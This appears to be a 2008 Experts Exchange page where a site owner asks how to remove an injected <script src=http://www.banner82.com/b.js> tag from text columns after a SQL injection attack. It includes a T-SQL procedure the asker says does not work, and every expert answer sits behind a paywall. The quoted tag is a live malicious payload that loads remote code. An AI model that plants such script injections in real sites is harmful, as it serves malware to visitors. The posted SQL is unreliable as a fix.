Advertisement

05.17.2008 at 02:36PM PDT, ID: 23411125
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

9.0

Cleaning Up SQL Injection Attack - http://www.banner82.com/b.js script

Asked by coloradodude in Networking Security Vulnerabilities, MS SQL Server, SQL Server 2005

Tags: , , ,

I have fallen victim to what appears to be a nefarious SQL Injection attack.  My system is an old ASP applicaiton that requires some protection updates. However I need to clean the database to remove the following text:
<script src=http://www.banner82.com/b.js></script>

This text has been appended to every column that contains Character or Text data. Becuase it has infected ntext and Text fields as well as varchars  I can not use the replace function. So I need something else.

I have modified Narayana Vyas Kondreddi's Search Code to update records that
The following update statement is the one that is not working... Any help woudl be greatly appreciated:

 UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0

Start Free Trial
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
CREATE PROC SearchTableStrReplaceg
(
     @SearchStr nvarchar(100),
     @TableStr nvarchar(100)
 
)
AS
BEGIN
 
     -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
     -- Purpose: To search all columns of all tables for a given search string
     -- Written by: Narayana Vyas Kondreddi
     -- Site: http://vyaskn.tripod.com
     -- Tested on: SQL Server 7.0 and SQL Server 2000
     -- Date modified: 28th July 2002 22:50 GMT
 
 
     CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
 
     SET NOCOUNT ON
 
     DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @fieldlen integer
     SET  @TableName = ''
     SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
     SET @fieldlen =LEN(@SearchStr2)
     WHILE @TableName IS NOT NULL
     BEGIN
          SET @ColumnName = ''
          SET @TableName = 
          (
               SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
               FROM      INFORMATION_SCHEMA.TABLES
               WHERE           TABLE_TYPE = 'BASE TABLE' and TABLE_NAME = @TableStr
                    AND     QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND     OBJECTPROPERTY(
                              OBJECT_ID(
                                   QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                    ), 'IsMSShipped'
                                     ) = 0
          )
 
          WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
          BEGIN
               SET @ColumnName =
               (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM      INFORMATION_SCHEMA.COLUMNS
                    WHERE           TABLE_SCHEMA     = PARSENAME(@TableName, 2)
                         AND     TABLE_NAME     = PARSENAME(@TableName, 1)
                         AND     DATA_TYPE IN ('text', 'ntext')
                         AND     QUOTENAME(COLUMN_NAME) > @ColumnName
               )
     
               IF @ColumnName IS NOT NULL
               BEGIN
                         UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0
               END
          END     
     END
 
     SELECT ColumnName, ColumnValue FROM #Results
END
[+][-]05.17.2008 at 02:46PM PDT, ID: 21590853

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.17.2008 at 02:59PM PDT, ID: 21590873

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05.18.2008 at 05:08AM PDT, ID: 21592403

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.18.2008 at 10:30AM PDT, ID: 21593357

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05.18.2008 at 11:30AM PDT, ID: 21593525

View this solution now by starting your 7-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zones: Networking Security Vulnerabilities, MS SQL Server, SQL Server 2005
Tags: ASP, SQL, MS SQL 2005, www.bestaviation.net & aviationcareerguide.com
Sign Up Now!
Solution Provided By: hibridassassin
Participating Experts: 15
Solution Grade: A
 
 
[+][-]05.18.2008 at 06:40PM PDT, ID: 21594800

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.18.2008 at 09:14PM PDT, ID: 21595193

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.19.2008 at 06:27AM PDT, ID: 21597541

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.19.2008 at 08:48AM PDT, ID: 21598809

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.19.2008 at 08:49AM PDT, ID: 21598817

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.19.2008 at 12:37PM PDT, ID: 21600839

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.21.2008 at 04:54AM PDT, ID: 21614020

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.21.2008 at 08:49AM PDT, ID: 21616275

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.21.2008 at 08:58AM PDT, ID: 21616362

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.21.2008 at 11:23AM PDT, ID: 21617632

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.22.2008 at 08:12AM PDT, ID: 21624523

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.23.2008 at 06:17AM PDT, ID: 21631806

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.23.2008 at 06:21AM PDT, ID: 21631830

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05.23.2008 at 06:25AM PDT, ID: 21631852

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
 
Loading Advertisement...
20080716-EE-VQP-32 / EE_QW_Related_20080208